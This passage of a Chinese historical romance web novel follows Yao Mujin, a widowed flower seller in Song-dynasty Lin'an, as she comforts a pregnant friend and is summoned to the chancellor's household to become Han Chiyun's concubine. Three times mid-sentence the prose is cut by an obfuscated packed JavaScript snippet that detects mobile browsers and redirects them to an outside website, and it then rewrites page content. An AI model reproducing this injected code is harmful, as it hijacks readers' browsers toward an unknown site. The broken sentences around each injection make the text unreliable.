姚木槿“嗤”地一声笑了出来,幽幽地说:“你这话说对了,我们仨确实都是有娘生没爹养,所以我劝你最好识相点儿。俗话说得好,光脚的不怕穿鞋的。我们一没家室二没软肋,杀人放火也是不怕。若是真打起来,谁更能豁得出去,你好生掂量掂量。” 周大娘子揉着自己被程厌攥疼的手臂,恨道:“今日先放过你们……你等着,下次铁定要你好看!”最后这两个“你”字,是冲着顾沾沾说的。 话毕刚要转身离去,却听姚木槿一声厉喝:“站住!” 周家大娘子着实被这一嗓子喊懵了,她都已经认怂给了台阶,对方怎得不懂就坡下驴? 姚木槿双手叉腰,唇边流溢一抹巧笑:“大娘子有所不知,我这个人,向来没什么耐心。你家男人置外室之事,你自回去与你男人掰扯,倘若他肯放了我妹妹,我对他感激不尽。我妹妹眼下有孕在身,经不起折腾。大娘子今日来闹这一出,我不与你计较,可若是日后还来……三哥,她要是再来可怎么办呢?” 程厌没说话,拎起倚着院墙的一根棍子,但听“咔嚓”一声瘆人脆响,碗口粗的木棍竟被他徒手掰断了! 姚木槿笑靥如花,指着折断的木棍对周大娘子道:“看懂了吗?若是再来,就如这棍子一样下场。” 周大娘子面色煞白,腿一软,多亏身后女使扶着才没跌坐在地。众人簇拥着她,霜打的茄子似的离开了顾家小院。 待这群找茬闹事的人走后,顾沾沾将姚程二人引入屋内,姚木槿从水缸里舀了盆冷水,浸湿布巾,让顾沾沾敷在面上挨耳光之处。 “叫那姓周的给你雇个女使,你这肚子眼瞅着越来越大,做什么都不方便。”姚木槿边说边为顾沾沾倒了一碗茶。 顾沾沾用布巾捂着颊边红肿,低声道:“我说了的。他只说眼下没钱,过段时日另说。” 程厌把臂站在门边,不肯落座,这会儿听顾沾沾如此说,冷哼一声:“早就让你别跟那姓周的在一起,你偏是不听,几身衣裳就把你收买了。” “我能怎么办?!”顾沾沾蓦地哭喊起来,“我没本事,去不了丰稔楼那样的好地方,就只能在些小脚店卖唱,天天被人捏手摸脸。他非要我跟着他,我初时也是不愿意的啊!他那边又是赌咒发誓又是用强,我能怎么办?!” 程厌刚要说话,却被姚木槿照着后背锤了一拳,瞬间闭嘴。 “三哥,你不是还要当值?你先去吧,我在这儿就行。” 自顾沾沾给人做了外室之后,程厌和顾沾沾便总是在这事上起龃龉,常是说不了几句话就要吵起来。每每都是姚木槿从中调和,和稀泥都和出经验了。 程厌闷闷地“嗯”了一声,又叮嘱姚木槿有事就去防隅官屋叫他,这便离开了顾家。 待程厌走后,顾沾沾擦了擦颊边泪水,对姚木槿道:“小啾,你今晚别走了,住下来陪陪我,好不好?” “那姓周的不来?”姚木槿问道。 顾沾沾摇了摇头:“自我怀上之后,他已经好久没来过了。” 姚木槿口中“姓周的”,便是将顾沾沾置为外室的男人。 那人姓周名恒,年近而立尚无功名傍身。其父乃太府寺卿,也算德高望重之人,原想着靠推恩荫补给儿子谋个官,只可惜周恒实在不学无术,吏部铨试竟然屡试不过,这事便耽搁下来。 可周家到底家业丰厚,且周恒上面还有一个早已入仕的兄长,故而这周恒虽前途未卜,却也不耽搁整日吃香喝辣、沾花惹草。 周家早就为他娶了殿前司副都指挥使的大女儿为妻,他却仍旧不老实。因其妻脾气强悍,不许他纳妾,他便揣着满腹花花肠子,将顾沾沾安置在外。 姚木槿曾在顾沾沾这儿与周恒打过一次照面,彼时那人满口“妹妹”、“妹妹”地叫,一双眼睛却在她胸前滑来滑去,鲶鱼似的,弄得姚木槿直犯恶心。 原本不想在周恒住过的房子里过夜,可架不住顾沾沾的哀求,再加上今日周家大娘子来闹了这么一出,姚木槿也实在不放心,于是便答允了。 是夜,姚木槿宿在了顾沾沾那张铺着绫罗绸缎的卧榻上。两个女人还像少女时那样,同睡一榻,同盖一衾,在月明星稀的夜里,头抵着头说悄悄话。 说起孩提时在慈幼局,先生来教大家识字,姚木槿识得又多又快,顾沾沾却十分笨拙,每次都比旁人慢半拍。可若是有人嘲笑顾沾沾蠢笨,姚木槿便会立刻站出来护着顾沾沾。 又说起大约十岁那年,慈幼局来了一对儿老夫妇。男的姓顾,是瓦子里拍鼓板的伎人;女的姓王,原是市井歌女,在茶肆卖唱。夫妇二人膝下无子,眼看着年纪大了,就想着收养一个女儿,好将遍身本领传授与她。 老夫妇挑来选去,最终选中了两个女孩,一个明丽机灵,一个温婉羞怯。夫妇二人正抉择不下时,却见那明丽的女孩碰了碰那个羞怯的,问道:“小五,你是不是很想随他们去?” 那羞怯的女孩虽低着头,却仍是重重地点了点。 “你去吧,我不去了。”明丽的女孩子笑着说,笑靥恰如一朵木槿花。 顾沾沾也便是那时才改名叫顾沾沾。效仿东京开封府的名妓李师师,取叠字,意图“沾沾喜气”。 眼下顾家老夫妇皆已不在人世,为了给他们料理后事,顾沾沾花掉了家中所有积蓄,实在窘迫得不行,这才让那周恒威逼利诱着霸占了去。 然则无论从哪方面看,顾沾沾的身世其实都比姚木槿要好许多。不仅因为她曾有自己的养父母和温暖的家,还因为,她是缘于亲生父母病逝且家中再无其他亲眷,这才被送进慈幼局的,而姚木槿……姚木槿是个孤儿,准确来说,是弃婴。 那是一个草木摇落的秋晨,尚在襁褓中的女婴被人扔在了慈幼局门外,无名,无姓,无父,无母,甚至连究竟几时出生都不知道。 慈幼局的姚乳娘将女婴抱给胥长程金羽,程金羽望着窗外一株于秋寒之中兀自绽放的木槿花,为女婴取名“木槿”,又令其随乳娘姓姚,入了册,从此成为慈幼局的孩子之一。 十五岁的时候,姚木槿离开慈幼局,原本是依照惯例,去往大户人家做女使。可姚木槿脾气泼辣,人家骂她,她就要骂回去;人家欺负她,她从不忍气吞声。这下可好,在那大户人家待了没两年,就被家中管事扫地出门了。 再后来几经兜转,最终做了个卖花娘子。 “小啾……”旧事聊累了,顾沾沾撒娇似的将头抵在姚木槿肩上,“这些日子我一直心绪不宁,你来了,我才觉好些。” “别整日胡思乱想。你好好将养,母子平安才是正经。” “周官人好久没来看我,我怕他已经腻了我,又去找旁人寻欢作乐……”顾沾沾说着说着,语声哽咽。 “那不是正好?反正那姓周的本就不是什么好东西,他就是个屎壳郎爬上琉璃瓦——又臭又狡猾。他若厌了你,愿意放你走,你还不乐意?” 顾沾沾抬手擦了擦眼角泪花,愁声说:“像我这样没用的人,又能走去哪里?我连自己都养不活,眼下又多了个孩子……怕不是会跟着我一起饿死街头……” “胡说什么,”姚木槿轻轻拍了对方一下,“离了那姓周的不是还有我吗?你若养不活,我来帮你养!保证把孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274020|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养得白白胖胖。” 听了这话,顾沾沾终于破涕为笑,高兴道:“我就知道小啾最是仗义!我让孩子认你做干娘,我们一起养,好不好?” “好。” 明明已是快要当母亲的人,可顾沾沾却仍像个小女孩儿一样,非要和姚木槿贴着睡。贴着还不够,又把头往姚木槿怀里拱。姚木槿被顾沾沾细碎的额发弄得下颌发痒,却也不推开,只任由她胡来。 片刻后,姚木槿听到怀中传来顾沾沾沉闷的声音:“小啾,我真羡慕你。” 姚木槿哑然失笑:“羡慕我什么?羡慕我天不亮就要去东马塍担花,每日走街串巷扯着嗓子叫卖,日头落山了还饿着肚子?” 顾沾沾也哧哧地笑了起来,笑过之后轻声说:“我羡慕你……能有个好归宿。我听人说,韩官人极受相爷倚重,将来必会成为朝廷栋梁,真真儿是前途无量。眼下他尚未婚娶,你能去他身边侍奉枕席,将来无论如何,你都比他家大娘子多了一份侍奉的功劳。你和他有这层情分在,纵使他家大娘子再凶狠,你也不用害怕。最好再给他生个一儿半女,到时你就更不用怕了。” 顾沾沾叽叽咕咕说了这许多,姚木槿却陷入沉默。她没告诉顾沾沾,今晨韩迟云来找她,对她说“你别得寸进尺”,彼时他眼神轻蔑,话语锋锐……那一刻,也说不出是什么滋味,姚木槿在舌尖品了品,反正不是甜的。 “我不会把自己这辈子荒废在韩家的深宅大院里。”良久之后,姚木槿突然开口。 “这又是为何?韩家还不够好吗?”顾沾沾抬起头,不明所以地看向姚木槿。 “他们有他们的活法,我有我的活法,不相干。” 顾沾沾歪着脑袋盯着姚木槿,盯了好半晌,突然冒出一句没头没脑的:“……我看悬。” “为何?” 顾沾沾叹了口气:“上贼船容易,下贼船难。待你真正去了他家,与他有了肌肤之亲,你就放不下他了。倘若再生个小伢儿,你这辈子都放不下他了。……小啾,你会爱上他。” 姚木槿被顾沾沾这故作老成的模样逗乐,笑道:“怕他哩。我姚木槿可是天下第一洒脱小寡妇,管他是谁,说不爱就不爱。” 顾沾沾摇头,声音异常凝重:“我了解你,你最是重情重义。小啾,你会把心给他,会痛苦,会相思如焚,直到变得不像你自己。” 姚木槿戏谑道:“你看二哥走了那么久,我几时为他相思如焚过?” “不一样。你跟二哥之间,本来就不算男女情爱。咱们几个打小一起长大,你和二哥最为亲近;比起夫妻,你们更像是亲人。可韩官人不同,小啾,你会像我一样……身不由己……心也不由己……”顾沾沾说着说着又哭了起来。 姚木槿听着顾沾沾的话语,越听越觉不对头,心里陡然一沉,问道:“沾沾,你是不是爱上那个姓周的了?” 顾沾沾将头埋进衾被里,边哭边说:“我能怎么办……我若是不爱上他,我都没有心气活下去了……我若是不爱上,孩子又该怎么办,孩子是无辜的……” 姚木槿本想骂顾沾沾两句,骂她没骨气,笨脑袋,怎能如此没出息,怎能爱上周恒那个混蛋……可话到嘴边,她却一句也骂不出口。 她既没有立场骂她贪图情爱,也没有能力救她逃出苦海,眼下她唯一能做的,便是伸出手臂抱紧顾沾沾,任凭对方的泪水将她的衣襟尽皆打湿。 窗牖外是漫天璨星,屋内却是两个拼力活着的女人紧紧偎在一处。顾沾沾哭累了,不一会儿便睡去。姚木槿闭上眼,只觉一颗心沉甸甸的,坠着她,一路坠至冰冷梦乡。 “你会爱上他。” “你会被相思煎熬着,直到变得不像你自己。” “你的心会痛苦,会为他肝肠寸断,会痛至无以复加。” “可你却求而不得,最终只能离开他……纵使躲得远远的,也不过自欺欺人罢了。” 不知为何,那天夜里睡着之后,顾沾沾的言辞却像咒语似的,在姚木槿的梦中盘桓了一整晚。 5. 妾室 次晨五更天,街面上传来头陀报晓之声,姚木槿这便起身穿衣,打算赶在天光大亮前回到黑羊巷。 顾沾沾还赖在榻上,懒洋洋地抬手打起床幔,看到姚木槿在面盆架前用冷水濯洗,便说:“执壶里还有些热汤。你有癸水在身,不好用冷的。” 姚木槿明媚地笑着:“没事,我从来都是这样。那壶热汤留给你用。” 话毕,她用布巾擦干面上水珠,坐在顾沾沾的妆台前,开始梳头发。 顾沾沾放下床幔,隔着一层纱绫,忽然问道:“余杭知县给你的一千贯,你全拿给慈幼局了?” “嗯,我让程妈妈好生收着,给乳娘和孩子们使。” 姚木槿边梳头边轻声述说着:“你也晓得,慈幼局眼下的景况实在艰难。朝廷拨下的银钱来来回回就那么些,可这些年街面上米价、肉价、菜价早不知翻了几番。我上次回去,程妈妈说孩子们已经吃不饱肚子。新到任的局丞是韩相爷的亲戚,没人敢惹他。本就不多的银钱,他还要再贪去些,孩子们愈发可怜。……你是没看到,一个个又瘦又小的模样,围着我叫‘阿姐’。他们叫我‘阿姐’的时候,我心里难受得不行。还有好几个小伢儿,病得吃不起药,我又怎能见死不救。” “你就没给自己留些?”顾沾沾蹙起眉头。 姚木槿笑道:“我有手有脚有力气,能自己干活赚钱,不用留。” 听了这话,顾沾沾发出一声长叹,慢吞吞地从榻上坐起,道:“我去灶房收拾朝食,咱俩一起吃。” 顾沾沾这人,脑瓜虽然不如姚木槿机敏,但却很会做菜。姚木槿最喜欢妹妹做的吃食,有时候大老远从黑羊巷跑到善履坊,就是馋她那一口热乎菜。 哪知此番姚木槿却拒绝了她:“不用了,我梳完头就走,得赶在辰牌之前去东马塍,不然抢不到好花。” 待梳洗罢,姚木槿从顾沾沾那儿告辞,在街巷间等了好久终于等到一辆拉粪出城的驴车,给了车夫几文钱,这便顺路将她捎出了余杭门。 回到家,姚木槿在灶上翻找一通,却只找到半块又冷又硬的炊饼,眼看着辰牌将至,没时间生火烧汤,遂只得就着半瓢冷水,将那炊饼吃下肚去。 吃完炊饼又将花担子收拾好,这便打算如往常一样去东马塍担花。 东马塍位于西湖边,出了黑羊巷向北走不远便是。其地本有梅岗园和神勇军马寨,后来渐渐成为临安府的花卉聚集地。卖花娘子们每日于晨露未晞之时便抵达东马塍,从花农那儿选买鲜花,之后挑着担子进城叫卖。逢年过节生意好的时候,一天可以卖四五百文,但像今天这种普通日子,大抵只得一二百文用以果腹。 正盘算着今日若能净赚二百文,就拿出五十文钱来犒劳自己,让自己吃顿好的之时,忽听门外响起一阵脚步声,紧接着便有人叩响房门。 “姚娘子可在家中?” 姚木槿疑惑地放下花担,上前开门,但见门外站着两个专给贵胄高门打杂跑腿的苍头嫂,见她在家,那二人直截了当道出来意: “咱们是相府打发来的。孟夫人今日恰好空闲,想请姚娘子到府上说话。” 这二人所说的孟夫人便是韩相爷正妻、相府当家主母,闺名银钗。其乃一品诰命,受封“魏国夫人”,因娘家姓孟,诸人便称呼其为孟夫人。她是韩迟云的伯母,给韩迟云纳妾也是她的意思。 姚木槿见孟夫人主动打发人来请自己,心底且惊且喜,赶忙回屋捡自己最好的一身衣裳换了,又略施脂粉,之后便随那两个苍头嫂去往相府。 韩辙的府邸位于临安城东的东巷坊,靠近崇新门,其北为皇城司衙署,南为皇太后谢氏的赐宅。 姚木槿被那两位苍头嫂引着,从侧门进入相府,沿着安静曲折的廊道往里走,也不知自己究竟途经了几处曲径幽与花木深,总之好一通弯绕之后,终于到得一处名为“望月水阁”的地方。 水阁前面是一泊颇为宽阔的莲池,池上莲叶轻盈,池中游鱼鳞光,又有蜻蜓俏皮地种下无边涟漪。 池畔立着一位姿容端庄的女使,见三人前来,也不说话,只冲着姚木槿打了个手势,示意她跟着自己,二人一前一后过了拱桥,这便登阁而上。 行至二层,女使撩起水晶珠帘,引着姚木槿进入阁屋。 屋内有两位妇人,一坐一站。窗畔主位坐着的那人瞧年纪应有四十出头,明明已是夏日,她却像畏寒似的,身上还披着一件遮风貉袖;而站在她身旁的那位则年轻许多,眉眼温顺,颇有些我见犹怜的味道。 女使上前对坐在太师椅上的妇人行礼道:“夫人,姚娘子来了。” 孟夫人收回望着窗外的眸光,用一双略显疲惫的眼睛看向姚木槿。 这是姚木槿生平第一次踏入这般华奢的富室豪院,一路走来心里都有些忐忑。此刻站在这位一品诰命夫人面前,被对方那双明睿的眼睛打量着,饶是她性子再泼辣,仍难免跼蹐不安。 孟夫人看出了姚木槿的忐忑,倒是很满意地点点头;继而将她唤至面前,把她因日常劳作而显得结实紧致的身子上上下下仔细端详一番,再次颔首——大宋的审美与前唐不同,本朝女子崇尚纤薄瘦削,可姚木槿却不仅不瘦弱,反而丰润饱满,是很能讨长辈喜欢的身姿。 “今年多大了?”孟夫人的神情中带着一抹倦乏,话也说得慢悠悠。 “回夫人话,二十有三。”姚木槿恭敬答道。 孟夫人称心地笑了笑:“女大三,抱金砖。翌儿正值弱冠之年,恰巧比你小三岁,真是极好。听说你已守寡多年?” “有三四年了。” “可曾生养?” “不曾。” “俗话说得好,寡妇招财,鳏夫招灾。我对你实在很有好感。” 未等姚木槿答话,孟夫人转头对侍立一旁的年轻妇人说道:“纳妾之事眼瞧着已经张罗了好些时日,却一直寻不到合适的人,我愁得茶饭不思。谁承想前些日子才刚对王夫人诉苦,今日合适的人就上门了,多亏她牵线搭桥。” 那年轻妇人蛾眉轻攒,答道:“王夫人是个热心肠,对男婚女嫁之事尤其热络。只是……此女乃余杭知县所荐,我瞧着,那姓郑的老头子怕不是想借着这事攀上相爷?” “他想攀就让他试试。他若真有本事,相爷自然不会埋没其才;若是不堪大用,纵使再送七八个侍妾入府,相爷也不会高看一眼。男人的事,让他们自己去博弈。咱们这些女人,只管把内闱打理好便罢。” 年轻妇人赶忙应道:“夫人所言极是。” 孟夫人将眸光转回姚木槿身上,又细细打量一回,这才对姚木槿说道:“翌儿自幼父母双亡,打小便养在相爷膝下,与亲生儿子一般无二。相爷疼惜他,将来定要扶他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274021|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直上青云。往后给他议亲,所选之人也必是两府三司的高门贵女。你能跟着他,是你前世修来的福气。” 听闻此语,姚木槿不禁大吃一惊——韩迟云居然也是孤儿?! 知晓这事的瞬间,也不知怎的,心底莫名对他有了三分亲近之情。 “翌儿与别家纨绔子弟不同。倘若他如那些王孙贵胄一般惯爱出入风月场,我也不为他操半分心。可他却偏偏是个冷寂之人,举止清白,品格端方。不瞒你说,他到现在从未有过女人。”孟夫人继续说道。 姚木槿又吃一惊——她之前猜测韩迟云是处子身,果然没猜错。 那边孟夫人还在絮絮地说着:“自古以来,男女之事皆应由做母亲的于婚前教导子女。可惜翌儿生母已逝,我毕竟只是他的伯母,房中那些事,实在不好由我说与他知。这也是我为何不要那些黄花大闺女,偏要找个嫁过人的来伺候他。……劳烦你了,就由你来指点他吧。” 姚木槿赶忙行礼:“夫人言重,劳烦二字实不敢当。” 孟夫人先时也曾担心对方是个市井庸俗之人,恐怕不懂规矩;孰料现在见姚木槿虽是个卑微的卖花娘子,举止却有礼有节,愈发对其心生欢喜。这便打开话匣子,将为何会挑中姚木槿,一五一十地说了出来。 待她说完,姚木槿这才明白,原来韩迟云的侍妾之所以一直没选中合适的人,皆因孟夫人的要求实在是太过诡异: 首先,此女必须是年轻小寡妇,且最好不曾生养。这样不仅能在床笫之事上助韩迟云“开窍”,还无须受其前夫和子女的烦扰。 其次,此女必须是小门小户,且最好是家中亲戚已经死得差不多了,如此这般才能不因家里那些三叔六伯九哥哥的关系而拖累韩迟云。 再次,此女必须是容貌出挑的美人,如此才配得上韩迟云,免得外人觉得伯母苛待侄儿。 最后,此女必须性子开朗大方,干净为人,遇事不计较。这样才能不恃宠而骄,日后韩迟云娶了正妻,也能好好伺候大娘子,莫要呷醋惹事,闹得全家上下不痛快。 如此奇诡的需求,可叹姚木槿居然全满足了! 姚木槿简直连自己都忍不住怀疑,她和韩迟云怕不是天造地设的一对儿郎君与侍妾吧?! “纳妾并非娶妻,没有什么三书六礼的讲究,不过是今日言妥,明日过契,后日便可进门。但究竟何时接你入府,我说了不算,到底要看翌儿的意思。” 话至此处,孟夫人扬声对立在门外的女使吩咐道:“采蘩,你去把关雎叫来,我有事问她。” 那女使答应一声,离开水阁,不多会儿便将一个生得眉清目秀的女子引入屋内,至孟夫人面前拜了个万福:“关雎问夫人安。” “这是府中养娘,名唤关雎,如今在翌儿的院子里听使唤,那边的吃穿用度皆由她领办。”孟夫人对姚木槿略略介绍几句,继之便问关雎,“大官人现下可在屋里?” 关雎恭谨作答:“回夫人话,大官人晨起随相爷一同入宫面圣,这会子才回来,刚在灶上传了些饭食。” “如此甚好,咱们家官人也是时候穿上那身朱紫公服了。”孟夫人疲惫地笑了笑,转而对姚木槿安排道,“让关雎带你去翌儿屋里坐坐,顺便伺候他用饭,再问问他,打算何时接你入府。早些把日子定下来,把契纸写了,我这一心劳累也能安生些。” 6. 珍馐 关雎板着一张俏脸,引着姚木槿往韩迟云的院子里去,路上一句话也不说。 倒是姚木槿,因想到韩迟云那边的吃穿用度皆由关雎领办,自己入府之后也必得仰仗此女,遂捧出满面笑意,想与关雎套个近乎。 “关雎养娘入府已有多年?”姚木槿问道。 “不知这府里除了相爷、夫人和大官人,可还有旁的主子?”姚木槿又问。 “韩官人的喜好,养娘必然十分清楚,今后可否请养娘指点一二?”姚木槿再问。 孰料连问三个问题,关雎皆一言不发。姚木槿无奈,只得讪讪地闭了嘴。 迈过一道垂花门,绕过一座假山,又经过一条长长的复廊,二人终于抵达韩迟云所居院落。 韩迟云的饭食摆在花厅,位在寝房东侧。此处开间敞阔,厅内除了食案、座椅、书橱和高足香几之外,西边还置着一张可坐可卧的三面屏风壶门榻。 关雎带着姚木槿进来的时候,食案上的菜肴才刚备齐,韩迟云坐在案旁一把官帽椅上,手握书卷细细看着,尚未动筷。 “官人,姚娘子来了。夫人让她伺候您用饭,没我的事我先出去了。”关雎终于开口说话,言语间却有些赌气的意味。 韩迟云从书卷中抬起眼眸,向姚木槿看了过来。 这是姚木槿第二次直面韩迟云。 他的眼睛又净又深邃,宛如寒江之上洒落一把星辉。星辉随水波粼粼,是一种清冽的温柔。 可那温柔之下却藏着深不可测的幽长,钩子似的勾着人向内走,走入清辉深处,去品尝一回除却巫山不是云。 向来泼辣大胆的姚木槿移开了与韩迟云对视的目光——她的心跳得有点儿快,隐隐躁乱。 韩迟云放下书卷,指了指对面的座椅,道:“你来得正好,坐吧,不必伺候。” 姚木槿不知对方为何要说“来得正好”,但她也没跟韩迟云客气,让她坐她就坐了。 韩迟云再次开口,语气肃穆:“昨日我之所以去你那里,其实是有件要紧事必须亲口对你说,不承想却被闲人打岔。今日既然你来了,我便与你说清楚。” 姚木槿刚要开口询问何事,忽闻安静的花厅内响起一阵惊天动地的“咕噜噜噜”,霎时便呆住——咕噜声是从她腹中发出的,在面对满桌珍馐佳肴的引诱时,她的肚子非常没出息地大声说自己馋了。 不过这也是没办法的事,姚木槿从清早到现在只喝了半瓢冷水,吃了半个又冷又硬的炊饼,现在面对着这一桌子热腾吃食,纵然能管住心神,却管不住肚腹嚎啕抗议。 韩迟云面上闪过一刹了然,对关雎吩咐:“添一副碗筷给姚娘子。” 关雎从鼻子里不情愿地应了一声,转身出去,不多会儿便拿来碗碟箸匙等物摆在姚木槿面前。 韩迟云抬手做了个“请”的手势,道:“先吃饭吧,旁的事吃完饭再说。” 话音甫落,姚木槿的肚子再次“咕噜噜噜”地嚎了一声。 刹那间,姚木槿感觉自己面颊发烫,浑身紧张。也不知是因为自己当众发出了不甚雅观的声音,还是因为第一次在这般权势滔天之家用银箸玉碗吃饭,反正原本不拘小节之人,此刻突然变得无措起来。 在韩迟云的注视下,姚木槿握着银箸想去夹面前摆着的花炊鹌子,谁知夹了两次都没成功。 银箸碰在瓷碟上,发出“叮”地一声脆响,像一段说不清道不明的思绪,漂泊心间,愈发令人紧张。 韩迟云放下筷子站起身:“忽而想起还有些急事没处理完,你先吃着,不必拘谨。” 话毕,握着书卷款款步出花厅。他今日仍穿一身雾山蓝,那蓝雾在姚木槿眼畔划出一道悠然云影,缥缈轻盈。关雎十分不满地小声嘟哝了一句,跟在韩迟云身后也打起帘子走了。 他二人这一走,花厅内便只剩下一个手提执壶、负责添茶倒水的小丫头,姚木槿忍不住长长地舒了口气,这才放心大胆地往桌上瞧去,打算趁韩迟云回来之前先大快朵颐一番。 但见桌案上林林总总摆着七八盘吃食,离她最近的是一碟花炊鹌子,姚木槿仍旧执箸去夹,这回倒是稳稳当当地夹起一块。她将那鹌子放入口中一咬,霎时便被这美味惊到。 鹌鹑肉是提前腌制过的,并且剔除了骨头和杂乱部分,炊烧时以大量新鲜花瓣为佐料,使得这鹌肉不仅鲜嫩非常,甚至还有一味花香潆洄于唇齿间。 便是这一口鹌鹑肉彻底勾起了姚木槿的食欲,她再顾不得去想韩迟云如何,只管自己开开心心吃了起来。 花炊鹌子旁边是一盘鲜虾蹄子脍。此菜乃是将蹄肉薄切之后,以最新鲜的河虾与之一同脍制。吃的时候将蹄肉和虾肉同时入口,可谓一口尝尽水陆两处鲜美。 再旁边还有酱烧鸭、煨牡蛎、银鱼鲊、雕花金桔蜜煎,另外还有一笼蟹黄包儿和一碗鲜鱼羹。 烧鸭皮色金黄,其上酱汁淋漓,入口外焦里嫩;牡蛎只只肥美,以姜蒜煨熟,咸鲜醇厚;银鱼通体洁白,因是鱼鲊,故而其生鲜之气皆被锁于肉内,洋溢淡淡酒香;至于金桔蜜煎,桔色与蜜色相得益彰,只看一眼便引得口水直流。 虽则菜肴种类如此丰盛,但每一样都是用青瓷小碟盛装,其实分量并没多少,姚木槿吃着吃着便将一桌子食物打发得差不多了。 最后一只蟹黄包儿吃下肚的时候,姚木槿的眼眶微微泛红。 只因她突然想起,像银鱼、鲜虾、蟹黄这样金贵的食物,她这辈子活到现在,只在自己大婚当日吃过一回。彼时一对儿新婚夫妇,两个都是不知自己将会向何处去的孤孑穷苦之人,纵使大婚也没什么能拿得出手的东西。成婚那天,他们没有十里红妆和八抬大轿,只是凑出自己的积蓄,两个人狠狠吃了一顿。 姚木槿屈起食指,擦了擦濡湿的眼角,刚要放下筷子,就见关雎端着一只冰裂纹瓷盅走了进来。 “砰”地一声将瓷盅重重放于桌案,关雎仍是气恼模样,道:“吃去。” 姚木槿不明所以地看着放在自己面前的瓷盅,疑惑道:“这是……” “灶上给夫人炖红枣燕窝,官人说你身子不舒服,叫灶上给你也炖了一盅,吃去!”关雎板着脸,颇为不耐烦地解释。 姚木槿霎时惊愕,她是万万没想到,韩迟云居然将她身有癸水之事记在了心上。 她低头看着面前的炖盅,又抬头看了看几乎被自己吃得干干净净的桌案,忽地便心生一丝愧疚——刚才实在是太饿,她居然不管不顾地将韩迟云的饭菜全吃完了,甚至连蟹黄包儿都没给他留一只。 “你们官人现在何处?那桩要紧事办完了吗?”姚木槿问关雎。 关雎噘着嘴,恼道:“哪有什么要紧事!官人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274022|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕你不自在,这才借故走开,现下一个人在书房写字呢!” 话至此处,又忿忿不平地念叨着:“我说你这人,怎得如此没眼力见?我们官人天不亮便随相爷入宫面圣,折腾了大半晌,好不容易安稳坐下,谁承想刚传了饭食你就来了。你现在是吃饱喝足,我们官人却还饿着肚子!” 听闻韩迟云竟然还饿着,姚木槿赶忙站起身,道:“关雎养娘,我吃好了,可否请你带我去书房。” “书房不许外人进出,”关雎扁了扁嘴,“你在这儿等着,我去请官人过来。” 话毕,打起帘子气呼呼地出去了。 姚木槿站在桌前,看着满桌狼藉叹了口气,正想着要不就干脆厚着脸皮当什么也不知道算了,管他韩迟云饥了饱了呢,反正她在市井间做买卖这些年,厚脸皮的事也不是没干过。 万般思绪还没厘清个所以然,花厅的珠帘却又被人掀开,但见一位瞧年纪比关雎略大些的女子含笑走了进来。 “关雎就是那副脾性,喜啊怒啊全在脸上摆着,孩子脾气,姚娘子莫与她计较。” 姚木槿疑惑地看向对方,刚想开口请问名姓,那女子却先笑着自我介绍道: “我叫鱼丽,和关雎一样,是官人身边的女使。我们皆是签了‘身子契’的养娘,将来由府里安置归宿。我偷偷告诉你,其实关雎一直心悦官人。她本想给官人做妾,哪知却被你横插一脚,你想想,她能不赌气嘛。不过你放心,来日你入府给我们做小姨娘,她也不会为难你。她这人就这样,只长年纪不长心眼。” 鱼丽边说着话边走到桌案旁,开始收拾桌上杯盘。姚木槿看她动作,也赶忙撩起袖子打算帮忙,哪知鱼丽却按住了她:“不敢劳动娘子,我收拾就成。娘子快把这盅红枣燕窝吃了,冷了就不好了。” 这边碗碟还没整理好,忽听门外有人唤道:“鱼丽姐姐,大官人去哪儿了?” 鱼丽放下手中物什,掀开帘子走了出去。 “桃夭,你不在小官人那儿照料着,跑到此处做什么?”门外传来鱼丽的问询声。 “小官人歇中觉呢,我过来看看大官人回来没。若是大官人得了空闲,请他去瞧瞧小官人。等会儿小官人睡醒,肯定要四处找他。你也知道,小官人每次闹起来,全家上下就只大官人架得住。大官人今日若是不过去,我又要被夫人埋怨了。” 那个名唤桃夭的女使絮絮地说着,语气里饱含委屈。 鱼丽答她:“大官人这边尚有要事处理,晚些时候过去。” “里面有人?”桃夭低声问道。 “嗯。” “谁呀?” 鱼丽轻轻一笑,声音压得更低,低至几不可闻。 花厅内,姚木槿竖着耳朵听她二人在外讲话,又是“大官人”又是“小官人”,跟念绕口令似的。但她却听明白了一件事,恰如市井流言所说,韩相爷有个十岁出头的独子,可惜生下来就是个呆傻的,这些年虽然一直在延医问药,却仍是治不好。看来桃夭口中的“小官人”,指得便是此人。 这会子窗外那二人压低声音,已然听不真切。姚木槿只得收拾心绪,低下头,一口一口吃起那瓷盅内的红枣燕窝。 刚炖好的滋补之物,入口又暖又甜,像是一道温柔的安慰,从唇齿直抵肺腑。姚木槿吃着吃着忽觉鼻子一酸,险些落下泪来。 7. 忠贞 